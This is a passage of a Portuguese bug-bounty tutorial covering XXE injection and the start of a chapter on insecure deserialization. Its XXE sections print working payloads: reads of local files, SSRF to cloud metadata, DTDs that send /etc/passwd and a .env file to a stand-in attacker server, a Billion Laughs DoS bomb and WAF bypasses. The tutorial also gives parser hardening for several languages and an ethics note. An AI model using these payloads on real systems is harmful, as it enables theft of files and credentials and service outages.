> `php://filter` **/ wrapper PHP**: um "stream" do PHP que transforma o conteúdo antes de entregar. `convert.base64-encode` codifica em Base64, permitindo extrair `.php` (que tem `<?php` e quebraria o XML cru).

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<contacts><contact><name>&xxe;</name></contact></contacts>
```

A resposta traz um blob Base64; você decodifica e lê o `index.php`. (O `php://filter` também é a alma do LFI — vale revisar lá.)

Nível 2 — XXE → SSRF (alcançar a rede interna e a nuvem)

Em vez de `file://`, aponte a entidade pra uma **URL**. O parser faz a requisição **a partir do servidor**, te dando uma ponte pra rede interna:

```
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-
credentials/">
]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

> **Cloud metadata (`169.254.169.254`)**: endereço "link-local" que só responde **de dentro** de uma instância na nuvem (AWS/GCP/Azure). Numa AWS com IMDSv1, ele entrega **credenciais IAM temporárias** — o jackpot do SSRF.

Se a resposta reflete, você lê a credencial direto. Se não reflete, cai no caso cego (Nível 3). Esse encadeamento XXE→SSRF é **a** razão de XXE virar crítico — leia a mecânica completa de bypasses, IMDSv2 e schemes exóticos no capítulo de SSRF.

Nível 3 — Blind / OOB XXE (quando a resposta não reflete nada)

Na vida real, a maioria das apps **não** devolve o valor da entidade na resposta. Isso é XXE **cego (blind)**. Você ainda confirma e até exfiltra dados, mas pelo "fundo do quintal": um canal **out-of-band (OOB)**.

> **OOB (Out-of-Band) / OAST**: em vez de ver a resposta na mesma conexão, você usa um servidor **seu** (ex.: Burp Collaborator) e observa se o alvo te faz uma requisição DNS/HTTP. Se chegou interação, o payload funcionou — mesmo sem nada aparecer na resposta HTTP.
>
> **Burp Collaborator**: servidor de DNS/HTTP que a Burp te dá com um subdomínio único. Você coloca esse subdomínio no payload e fica de olho no painel pra ver as "batidas". É o detector universal de blind/OOB.

Passo 3a — detectar com uma entidade externa apontando pro seu servidor:

```
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://SEU-ID.collaborator.net"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

Se o Collaborator registrar um hit de DNS/HTTP, o parser resolveu sua entidade externa → **XXE cego confirmado**.

Passo 3b — exfiltrar o arquivo via DTD externo (parameter entities). Aqui entra a técnica que separa o iniciante do avançado. Você não consegue colocar `&xxe;` (entidade geral) no corpo de uma definição de entidade — o XML proíbe. A saída é usar **entidades de parâmetro**.

> **Entidade de parâmetro (`% nome;`)**: tipo especial de entidade que só vale **dentro do DTD** e se referencia com `%nome;` (porcento, não `&`). É a peça que permite montar entidades dinamicamente e burlar a restrição do XXE cego.

Você **hospeda** um DTD malicioso no seu servidor (`http://alvo-do-atacante.net/exfil.dtd`):

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://alvo-do-atacante.net/?
x=%file;'>">
%eval;
%exfiltrate;
```

E no XML enviado pra aplicação, você **importa** esse DTD:

```
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://alvo-do-atacante.net/exfil.dtd"> %xxe; ]>
<stockCheck><productId>1</productId></stockCheck>
```

O que acontece, em câmera lenta: 1. A app importa seu `exfil.dtd`. 2. `%file` lê o `/etc/passwd` pra dentro de uma variável. 3. `%eval` **declara dinamicamente** a entidade `exfiltrate`, cujo valor é uma URL pro seu servidor **com o conteúdo do arquivo na query string** (`?x=...`). 4. `%exfiltrate` dispara a requisição → o `/etc/passwd` chega no **seu** servidor, na URL.

> **Por que `%` em vez de `%`?** `%` é o caractere `%` escapado. Dentro da string de uma entidade, um `%` literal confundiria o parser (ele acharia que é o início de outra entidade de parâmetro). Escapando, o `%` só "nasce" quando a entidade interna é finalmente montada. É detalhe de sintaxe, mas **sem ele o payload não monta** — por isso copie exatamente assim.
>
> **DTD externo tem que estar `http`/acessível pelo alvo.** Hospede num servidor público seu (um `python3 -m http.server`, um bucket, etc.) e confirme que o alvo consegue alcançá-lo. Se a rede do alvo bloqueia saída HTTP, parta pro error-based abaixo.

Passo 3c — XXE error-based (exfiltrar pela mensagem de erro). Quando não há canal OOB de saída, dá pra fazer o **dado vazar dentro de uma mensagem de erro** do parser. O DTD malicioso tenta abrir um arquivo **inexistente cujo nome contém o conteúdo do arquivo-alvo**:

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

Como `/nonexistent/<conteúdo do passwd>` não existe, o parser solta um erro tipo:

```
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin (No such file or directory)
```

O `/etc/passwd` aparece **no texto do erro**. Funciona só se a app **devolver erros verbosos** (stack trace) — comum em ambientes mal configurados.

Nível 4 — XInclude (você só controla UM campo, não o XML inteiro)

Às vezes o alvo recebe um valor seu (ex.: um parâmetro de formulário comum, `application/x-www-form-urlencoded`) e o **embute** num XML montado no servidor. Você não controla o `<!DOCTYPE>`, então o XXE clássico não cola. A saída é **XInclude**:

> **XInclude**: feature do XML pra incluir o conteúdo de outro arquivo/recurso em um ponto do documento, via namespace `xi`. Não precisa de DOCTYPE/DTD — por isso funciona quando você só controla um pedacinho.

```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>
```

Você manda só esse trecho no campo controlado; o servidor o injeta no XML maior e o parser, ao processar o `xi:include`, lê o arquivo. O `parse="text"` é importante: trata o arquivo como texto puro (senão tentaria parsear como XML e quebraria com `/etc/passwd`).

Nível 5 — XXE via UPLOAD (SVG, Office, SOAP)

Esta é a superfície que mais passa despercebida: **arquivos que são XML por dentro**. Se a app parseia o arquivo no servidor (gerar thumbnail, extrair metadados, converter), o XXE entra pela porta dos fundos.

SVG — imagem vetorial é XML puro. Suba um `.svg` malicioso onde a app aceita "imagem" (avatar, logo, anexo):

```
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

Se o servidor renderiza o SVG (ex.: converte pra PNG), o conteúdo do arquivo lido aparece **dentro da imagem gerada** — um vazamento literalmente visível. (SVG também é vetor clássico de XSS quando servido como `image/svg+xml` e aberto no navegador — vale o duplo teste.)

Arquivos Office (DOCX, XLSX, PPTX) — são, por dentro, **arquivos ZIP cheios de XML**.

> **DOCX/XLSX = ZIP + XML**: abra um `.docx` com um descompactador e você vê `[Content_Types].xml`, `word/document.xml` etc. (a assinatura `PK` no começo do arquivo denuncia o ZIP). A app que processa esses arquivos roda um parser XML — alvo de XXE.

Ataque: descompacte um `.docx` / `.xlsx` válido, injete o `<!DOCTYPE ...>` com a entidade no XML interno (ex.: `word/document.xml` ou `[Content_Types].xml`), **recompacte** com o mesmo nome e suba. Se o parser do servidor estiver vulnerável, ele resolve a entidade ao abrir o documento.

SOAP / SAML / APIs XML legadas — serviços SOAP trafegam XML por natureza, e o **SAML** (asserções de login federado/SSO) é XML puro que o IdP/SP parseia no servidor. O mesmo `<!DOCTYPE>` malicioso injetado no envelope SOAP ou na `SAMLResponse` (antes do encode Base64 que muitos fluxos usam) pode disparar XXE — fique de olho em endpoints de SSO. Vale também o truque de **trocar o Content-Type**: uma API que aceita JSON às vezes também aceita XML — mude `Content-Type: application/json` pra `application/xml` (ou `text/xml`) e reenvie o corpo reescrito em XML; se o backend parsear, você tem superfície de XXE onde ninguém esperava.

Nível 6 — Billion Laughs (DoS por expansão de entidade)

Aqui o objetivo muda: não é ler arquivo, é **derrubar o serviço**. A "bomba bilhão de risadas" aninha entidades **internas** (sem `SYSTEM`, sem rede) que se referenciam em cascata. Cada nível multiplica por 10 — `lol9` expande pra ~10^9 vezes a string `lol`, estourando RAM/CPU do parser.

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```

> **NÃO dispare isto num alvo de produção.** Diferente da leitura de arquivo, este payload **causa dano real** (consome memória até o processo morrer) e pode tirar o serviço do ar — o que extrapola "provar a falha" e vira interrupção. Faça em **lab** ou, no máximo, com **autorização explícita** do programa pra teste de DoS. Para *provar* a vulnerabilidade sem derrubar nada, prefira reduzir os níveis (ex.: até `lol4`) e medir o tempo/CPU de resposta, ou apenas reportar que o parser aceita DTD com entidades

> internas. É **DoS**, não leitura — costuma valer menos e, em muitos programas, está **fora de escopo** (veja Denial of Service de aplicação).

Nível 7 — Bypass quando entidades/DTD estão parcialmente bloqueados

Às vezes existe um filtro (WAF ou um bloqueio meia-boca no app) que barra a **string** `<!DOCTYPE` ou `<!ENTITY`. A chave é lembrar: **quem decide se há XXE é o parser, não o WAF** — então o jogo é fazer o payload chegar ao parser sem "parecer" XXE pro filtro.

Troca de encoding (UTF-16 / UTF-7). O parser detecta a codificação pelo BOM ou pela declaração `encoding=`. Se você reencodar o XML inteiro pra **UTF-16**, um WAF que faz match de substring/regex em ASCII **não enxerga** `<!DOCTYPE` (os bytes estão intercalados com `00`), mas o parser lê normalmente:

```
# converte o payload XXE de UTF-8 pra UTF-16 Big-Endian
cat xxe-utf8.xml | iconv -f UTF-8 -t UTF-16BE > xxe-utf16.xml
# envie o arquivo resultante como corpo da request
```

> **UTF-7 é situacional.** O clássico `<?xml version="1.0" encoding="UTF-7"?>` com o corpo em UTF-7 só funciona se **aquele parser específico ainda suportar UTF-7** — o libxml2, por exemplo, **não** suporta UTF-7. Em parsers Java/.NET legados pode colar. Na dúvida, **UTF-16BE é a aposta mais confiável**. Confirme caso a caso.

`PUBLIC` no lugar de `SYSTEM`. Os dois são quase sinônimos pra declarar entidade externa; trocar pode driblar um filtro que só procura a palavra `SYSTEM`:

```
<!DOCTYPE foo [ <!ENTITY xxe PUBLIC "qualquer id" "file:///etc/passwd"> ]>
```

Parameter entities pra esconder a entidade externa. Como visto no blind, mover a declaração `SYSTEM` pra dentro de um DTD externo (`%`) tira a string suspeita do corpo enviado — o filtro vê só uma importação aparentemente inofensiva.

Recon e detecção — onde caçar XXE

Sinais de que tem XML (logo, possível XXE) rodando:

- **Content-Type de XML** em requests: `application/xml`, `text/xml`, `application/soap+xml`.
- **Corpos XML** em qualquer lugar: SOAP, SAML (login federado/SSO), RSS, sitemaps, APIs antigas.
- **Uploads** que aceitam SVG, DOCX, XLSX, PPTX, ou qualquer formato baseado em XML.
- **Endpoints "de integração"/legados** — XXE adora sistema velho.

Roteiro de detecção:

1. **Tem reflexão?** Injete `&xxe;` lendo `/etc/passwd` (ou `php://filter`) e veja se volta na resposta → in-band.
2. **Não reflete?** Aponte uma entidade externa pro Burp Collaborator. Hit de DNS/HTTP → blind XXE confirmado.
3. **Reflete erro?** Force o error-based com o `file:///nonexistent/%file;`.
4. **Só um campo?** Tente **XInclude**.
5. **Upload?** Suba SVG/DOCX malicioso e veja se o conteúdo vaza no resultado.

Ferramentas que ajudam:

- **Burp Suite** — Repeater (editar o XML à mão), **Collaborator** (detectar OOB), e o scanner ativo já testa XXE automaticamente.
- **Burp extension "Content Type Converter"** — converte JSON↔XML num clique, pra testar o truque de trocar o Content-Type.
- `python3 -m http.server` — sobe rápido o servidor que hospeda seu `exfil.dtd` e recebe a exfiltração. (Apresentado no capítulo Recon & Discovery.)
- **XXEinjector** / **OXML_XXE** — automatizam exfiltração OOB e a geração de Office/SVG envenenados.

Caso real-fictício: blind XXE → exfiltração de `.env` via DTD externo

> Cenário **fictício, baseado em padrões reais** de programas de bug bounty (anonimizado).

Você testa `app.exemplo.com`, um sistema de orçamentos que importa propostas em XML. O endpoint não reflete nada útil na resposta (XXE cego). Plano: confirmar via OOB e exfiltrar o `.env`.

Passo 1 — Confirmar (OOB). Subo um servidor meu e mando:

```
POST /proposals/import HTTP/2
Host: app.exemplo.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://AAAA1111.collaborator.net"> ]>
<proposal><title>&xxe;</title></proposal>
```

No Collaborator pinga um DNS + HTTP vindo do IP do servidor da `app.exemplo.com`. **Blind XXE confirmado.**

Passo 2 — Hospedar o DTD malicioso em `http://192.0.2.10:8000/exfil.dtd` (`192.0.2.0/24` é faixa de documentação, aqui faz papel do "meu servidor"):

```
<!ENTITY % file SYSTEM "file:///var/www/app/.env">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://192.0.2.10:8000/?
x=%file;'>">
%eval;
%exfiltrate;
```

Passo 3 — Disparar a importação do DTD:

```
POST /proposals/import HTTP/2
Host: app.exemplo.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://192.0.2.10:8000/exfil.dtd"> %xxe; ]>
<proposal><title>x</title></proposal>
```

O que a tela mostraria: no terminal do `http.server`, uma linha de log com o `.env` na query (em geral URL-encoded):

```
192.0.2.250 - - [31/May/2026 14:02:11] "GET /?
x=DB_PASSWORD=Sup3rS3cr3t%0aSTRIPE_KEY=sk_live_... HTTP/1.1" 200 -
```

Pronto: a credencial do banco e a chave de pagamento saíram do servidor da vítima sem nunca aparecer numa resposta HTTP visível.

Passo 4 — Report. Título: `[XXE] Blind XML External Entity em /proposals/import → leitura de arquivos e exfiltração de credenciais (.env)`. Severidade **Crítica** (leitura de credenciais + potencial SSRF). Inclua: a request de detecção OOB, o `exfil.dtd`, a request de disparo e o log do Collaborator/servidor (com segredos mascarados). Foque o resumo no risco de negócio: "*qualquer um que envie um XML lê arquivos arbitrários do servidor, incluindo credenciais de banco e chaves de API*". Como escrever isso bem: Como escrever um report que paga.

Defesa em camadas (a chave é desabilitar DTD/entidades externas)

A correção definitiva é **uma só**: configurar o parser pra **não resolver DTDs nem entidades externas**. Frontend e WAF não resolvem XXE de verdade — a defesa é no parser, por linguagem. A regra de ouro: **se a app não precisa de DTD (quase nunca precisa), desabilite o DOCTYPE inteiro** — mata XXE, XInclude e Billion Laughs de uma vez.

Java (`DocumentBuilderFactory`, SAX, StAX)

A defesa nº 1 é proibir a declaração de DOCTYPE:

```
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// PRINCIPAL: proíbe <!DOCTYPE> -> mata XXE de raiz
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// Se DTD for mesmo necessário, ao menos desligue entidades externas:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd",
false);

// Reforço:
dbf.setXIncludeAware(false);            // mata XInclude
dbf.setExpandEntityReferences(false);
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
```

Para `XMLInputFactory` (StAX):

```
// PRINCIPAL: desliga DTD por completo
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
// Se não puder desligar o DTD, ao menos zere o acesso externo:
xmlInputFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
```

.NET (C#)

Versões **a partir do .NET Framework 4.5.2** já são seguras por padrão (`XmlResolver = null`). Em código mais antigo, force:

```
var settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;  // proíbe DTD -> mata XXE
settings.XmlResolver   = null;                     // não resolve recursos externos
var reader = XmlReader.Create(stream, settings);
```

Para `XmlDocument` legado: `xmlDoc.XmlResolver = null;` .

PHP

A boa notícia: desde o **libxml 2.9.0** (set/2012) a **substituição de entidades vem desligada por padrão** — a expansão da entidade externa só acontece se você passar a flag `LIBXML_NOENT` . Por isso a função `libxml_disable_entity_loader()` foi **descontinuada no PHP 8.0** (virou desnecessária). Em PHP moderno, o XXE clássico via `SimpleXML` / `DOMDocument` não dispara sozinho.

> **História do `libxml_disable_entity_loader`** : por anos, o conselho em PHP era chamar `libxml_disable_entity_loader(true)` antes de parsear. Com o libxml 2.9+ trazendo o padrão seguro e o PHP 8.0 marcando a função como deprecated/no-op, o ecossistema

> migrou pra confiar no default. **Não use a flag** `LIBXML_NOENT` — apesar do nome ("no entities"), ela **liga** a substituição de entidades, abrindo a porta pro XXE.

```
// PHP 8.0+: seguro por padrão. NÃO faça isto:
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);  // <- PERIGOSO: reativa XXE

// Faça simplesmente (default já é seguro):
$dom = new DOMDocument();
$dom->loadXML($xml);

// Em PHP < 8.0, por garantia (no-op em libxml moderno):
// libxml_set_external_entity_loader(null);  // recomendação atual do OWASP
// libxml_disable_entity_loader(true);       // forma antiga (deprecated no 8.0)
```

> `LIBXML_NO_XXE` **(PHP 8.4+ / libxml ≥ 2.13)**: flag nova que **bloqueia XXE explicitamente** ao parsear, mesmo se você (ou uma lib de terceiros) passar `LIBXML_DTDLOAD` / `LIBXML_NOENT`. Se estiver no PHP 8.4+, usá-la é o cinto-e-suspensório: `$dom->loadXML($xml, LIBXML_NO_XXE);`.

Python

A biblioteca padrão (`xml.etree` , `minidom` , `sax` ...) **não tem flag fácil** pra blindar tudo. A recomendação oficial é trocar pela `defusedxml` :

> `defusedxml` : pacote drop-in que substitui os parsers da stdlib por versões que já bloqueiam entidades externas, DTDs e bombas de expansão. Você troca o `import` e pronto.

```
# Em vez de:  import xml.etree.ElementTree as ET
from defusedxml.ElementTree import parse, fromstring   # seguro contra XXE

tree = parse("entrada.xml")
```

> **O que NÃO basta:** filtrar a string `<!DOCTYPE` no WAF (dá pra ofuscar/encodar), validar só no frontend, ou usar UUIDs/HTTPS. XXE é decisão **do parser** — se ele resolve entidade externa, nenhuma camada acima salva.

Checklist do caçador

- [ ] O alvo aceita XML? (`Content-Type: application/xml` / `text/xml` , SOAP, SAML, RSS)

- [ ] Testei o XXE clássico (`file:///etc/passwd` refletido) e o `php://filter` em apps PHP.
- [ ] A resposta não reflete? Confirmei com entidade externa apontando pro **Collaborator** (blind).
- [ ] Tentei exfiltração **OOB** via DTD externo (parameter entities, `%`).
- [ ] Tentei **error-based** (`file:///nonexistent/%file;`) onde os erros são verbosos.
- [ ] Só controlo um campo? Testei **XInclude** (`xi:include parse="text"`).
- [ ] Testei **uploads**: SVG, DOCX, XLSX (ZIP+XML), troca de Content-Type JSON→XML.
- [ ] Apontei pra **cloud metadata** (`169.254.169.254`) e serviços internos (XXE→SSRF).
- [ ] Mirei arquivos de **credencial** (`.env` , `web.config` , chaves) pra subir a severidade.
- [ ] Filtro barrando `<!DOCTYPE` / `SYSTEM` ? Tentei **bypass** (UTF-16BE via `iconv` , `PUBLIC` , parameter entities).
- [ ] DoS (Billion Laughs) só **com autorização explícita** / em lab — nunca solto em produção.

Pegadinhas / o que NÃO funciona

- **Arquivo com `<` , `&` ou `]]>` quebra o XXE clássico.** Use `php://filter` (base64) ou exfiltração OOB pra arquivos "sujos".
- **`&` (geral) dentro de uma definição de entidade não é permitido** — por isso o blind usa entidade de **parâmetro** (`%`) e o `%` escapado. Copie o DTD exatamente.
- **DTD externo precisa ser alcançável pelo alvo.** Sem saída de rede no servidor → sem OOB; parta pro error-based.
- **PHP moderno raramente dá XXE "de graça"** — só se o dev forçar `LIBXML_NOENT` / `LIBXML_DTDLOAD` . Não perca horas num PHP 8 default.
- **`LIBXML_NOENT` engana pelo nome:** ela **habilita** substituição de entidades. Nome péssimo, comportamento perigoso.
- **Billion Laughs ≠ XXE clássico:** a "bomba" de entidades (`&lol9;` aninhado) é **DoS** por expansão, não leitura de arquivo — costuma valer menos e às vezes está fora de escopo (veja Denial of Service de aplicação).

O que você precisa lembrar

- XXE = **abusar de entidade externa do XML** pra ler arquivo, fazer SSRF ou exfiltrar dado.
- Existe por **parser permissivo** (resolve entidade externa) + **XML controlado pelo atacante**.
- Não reflete? Não desista: **blind/OOB** (DTD externo + parameter entities) e **error-based** ainda exfiltram.
- A superfície escondida está nos **uploads** (SVG, DOCX/XLSX) e em **trocar JSON por XML**.
- O dinheiro mora no **alcance**: SSRF→metadata e leitura de **credenciais**.

> **Dica de ouro:** sempre que vir XML entrando na aplicação, faça **um** teste barato antes de tudo — uma entidade externa apontando pro Burp Collaborator. Se pingou, você tem XXE (mesmo cego). Esse único ping já vale o report — e abre a porta pra escalar até crítico.

Nota ética

Tudo aqui é pra **testes autorizados**: bug bounty dentro do escopo, pentests contratados e labs legais. Ler `/etc/passwd` ou exfiltrar `.env` de um sistema de terceiros sem autorização é crime — e desnecessário, porque os labs abaixo replicam cada técnica deste capítulo. Use pra proteger, reportar com responsabilidade e ensinar. Ao reportar, **mascare** segredos vazados e não baixe mais dados do que o necessário pra provar o impacto.

Ferramentas + labs legais

- **PortSwigger Web Security Academy — XXE** — 9 labs gratuitos que cobrem in-band, SSRF, blind OOB, error-based, XInclude e SVG. A melhor fonte pra praticar.
- **DVWA**, **bWAPP**, **WebGoat** (OWASP) — todos têm módulo de XXE.
- **TryHackMe / HackTheBox** — máquinas com XXE em SOAP/SVG.

Referências

- PortSwigger — XML external entity (XXE) injection e Blind XXE
- OWASP — XML External Entity (XXE) Prevention Cheat Sheet
- OWASP — XML External Entity (XXE) Processing
- PayloadsAllTheThings — XXE Injection
- OWASP Top 10 — A05:2021 Security Misconfiguration

Insecure Deserialization: de objeto serializado a RCE

Quando um cookie vira shell no servidor

Imagina que você está testando `app.exemplo.com` e repara num cookie esquisito:

```
Cookie:
session=Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo0OiJ1c2VyIjt9
```

Você joga esse valor num decoder Base64 e sai isto:

```
O:4:"User":2:{s:4:"name";s:5:"alice";s:4:"role";s:4:"user";}
```

Isso não é JSON, não é XML. É um **objeto PHP serializado** — e o servidor vai pegar esse texto e **reconstruir um objeto a partir dele**. Se ele faz isso sem desconfiar do que veio do cliente, você acabou de encontrar a porta de entrada para uma das falhas mais brutais da web: **Insecure Deserialization** (deserialização insegura). No melhor cenário, dá pra mexer no `role` e virar admin. No pior — e mais comum do que parece —, dá pra chegar a **RCE**: rodar comando no servidor.

> **RCE (Remote Code Execution)**: a falha mais grave da web — o atacante executa código/comandos arbitrários no servidor da vítima (ler arquivos, abrir shell, pivotar). Saiba mais no Glossário.

Deserialização insegura era uma categoria própria no OWASP Top 10 de 2017 (**A8:2017 — Insecure Deserialization**) e, na edição de 2021, foi absorvida pela categoria mais ampla **A08:2021 — Software and Data Integrity Failures** do OWASP Top 10 (CWE relacionada: **CWE-502 — Deserialization of Untrusted Data**). Não aparece em todo alvo — depende da tecnologia —, mas quando aparece, costuma ser **crítica** e pagar muito bem. Quando a deserialização leva a RCE não-autenticada, o score reflete isso: **CVSS v3.1 ≈ 9.8** (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`) e o equivalente **CVSS v4.0 ≈ 9.3** (`AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`) — *Critical* nas duas versões. Neste capítulo a gente vai do "o que diabos é serializar" até montar uma **gadget chain** que chega a RCE, linguagem por linguagem, com as ferramentas que o mercado usa de verdade.

O que é serializar e deserializar?

Todo programa trabalha com **objetos** na memória: uma struct com campos, um array, uma instância de classe. Esses objetos vivem na RAM e não dá pra mandá-los "como estão" por um cabo de rede ou salvá-los num arquivo. É preciso convertê-los para uma sequência de bytes/texto — e depois reconstruí-los do outro lado.

> **Serializar**: transformar um objeto da memória em uma sequência de bytes ou texto (para salvar em disco, enviar pela rede, guardar num cookie). **Deserializar** é o caminho de volta: pegar esses bytes e remontar o objeto na memória.
>
> **Analogia:** pensa num móvel da loja sueca. **Serializar** é desmontar o armário, colocar todas as peças e o manual numa caixa plana — assim ele cabe no carro (trafega). **Deserializar** é, em casa, abrir a caixa e remontar o armário seguindo o manual. O problema da deserialização insegura é simples: e se **um estranho** trocar as peças e o manual dentro da caixa antes de você abrir? Você vai montar, de olhos fechados, exatamente o que ele mandou — inclusive uma armadilha.

Isso por si só é inofensivo. Serializar/deserializar é uma operação do dia a dia: cache, sessão, fila de mensagens, comunicação entre microsserviços. **O perigo não é a deserialização — é deserializar dado que veio de uma fonte não-confiável.**

Por que deserializar dado não-confiável é perigoso

A intuição de iniciante é: "*é só dado, no máximo a pessoa muda um valor*". Errado. A diferença entre formatos seguros e perigosos está no que o processo de "remontar" é capaz de fazer.

Quando você faz `json_decode()`, o resultado é **sempre** um dado burro: string, número, array, objeto genérico. Não roda código, não instancia classe nenhuma sua.

Quando você usa a serialização **nativa** da linguagem (PHP `unserialize`, Java `ObjectInputStream`, Python `pickle`, .NET `BinaryFormatter`), o processo é muito mais poderoso: ele **reconstrói instâncias de classes reais** da sua aplicação, com os atributos que o atacante escolher. E aqui está o pulo do gato — ao reconstruir esses objetos, a linguagem pode disparar **métodos automaticamente** (em PHP, os *magic methods*; em Python, o `__reduce__`). O atacante controla **quais classes** são criadas, **com quais valores**, e isso aciona código que já existe na aplicação.

> **Sink (ponto perigoso)**: a função onde o dado controlado "aterrissa" e causa estrago — ex.: `system()`, `eval()`, `file_put_contents()`. O dado sai de uma *source* (entrada do atacante) e flui até um *sink*. Conceito recorrente em RCE e SQL Injection.

Resumindo o perigo: deserializar input não-confiável dá ao atacante o poder de **fabricar objetos arbitrários** dentro do seu processo. Daí pra frente é questão de achar o caminho certo até um sink.

O conceito central: gadget chain (POP chain)

Esse é o conceito que separa quem "entende de cabeça" de quem só decora payload. Preste atenção aqui.

O atacante **não injeta código novo**. Repito: ele não manda um `.php` malicioso, não escreve a função que executa o comando. **Todo o código já existe na aplicação** (ou nas bibliotecas/frameworks que ela usa).

> **Gadget**: um trecho de código que **já existe** na aplicação (ou numa lib) e que, sozinho, é inofensivo — mas pode ser abusado quando alimentado com a entrada certa. Pense numa "peça de Lego" reutilizável.
>
> **Gadget chain (cadeia de gadgets) / POP chain**: o encadeamento de vários gadgets de modo que a saída de um vira a entrada do próximo, até o dado do atacante chegar a um sink perigoso. "POP" = *Property-Oriented Programming* — você programa o ataque escolhendo as **propriedades** (atributos) dos objetos, não escrevendo código.

A ideia em três tempos:

1. **Kick-off gadget** (a fagulha): um método que dispara **automaticamente** quando o objeto é deserializado (ex.: `__wakeup` / `__destruct` em PHP). O atacante não precisa chamá-lo — a própria deserialização chama.
2. **Gadgets intermediários**: o kick-off chama um método de outro objeto (cujos atributos o atacante também controla), que chama outro, que chama outro... passando o dado adiante.
3. **Sink gadget** (o estrago): no fim da cadeia, o dado controlado chega a uma função perigosa (`system`, `eval`, escrita de arquivo) e roda.

> **Analogia:** a gadget chain é como uma máquina de Rube Goldberg (aquelas reações em cadeia malucas — a bolinha empurra o dominó, que acende a vela, que estoura o balão...). O atacante não constrói as peças; ele **organiza as que já estão na sala** numa sequência que termina detonando uma bomba. Você só forneceu a primeira bolinha (o objeto serializado).

Por isso não adianta dizer "minha app não tem código vulnerável": a chain costuma morar nas **bibliotecas** (Apache Commons Collections em Java, Laravel/Monolog/Guzzle em PHP). Você importou a biblioteca por um motivo legítimo e ela trouxe os gadgets de brinde. As ferramentas `ysoserial` e `phpggc` (mais à frente) existem justamente para montar essas chains prontas pra dezenas de libs populares.

Por linguagem: como o ataque se materializa

A teoria é a mesma; o formato e os mecanismos mudam. Vamos ao concreto.

PHP — `unserialize()` e os magic methods

PHP serializa objetos num **formato de texto legível**. Conhecer esse formato é o que te permite reconhecer e forjar payloads. Cada tipo tem um prefixo:

Prefixo	Tipo	Exemplo
`O:`	Objeto (classe)	`O:4:"User":2:{...}` → classe `User` (nome de 4 letras), 2 propriedades
`s:`	String	`s:5:"alice";` → string de 5 chars
`i:`	Inteiro	`i:42;`
`b:`	Booleano	`b:1;` (true) / `b:0;` (false)
`a:`	Array	`a:2:{...}` → array com 2 elementos
`N;`	Null	`N;`

Então este objeto:

```
class User { public $name = "alice"; public $role = "user"; }
```

vira esta string serializada:

```
O:4:"User":2:{s:4:"name";s:5:"alice";s:4:"role";s:4:"user";}
```

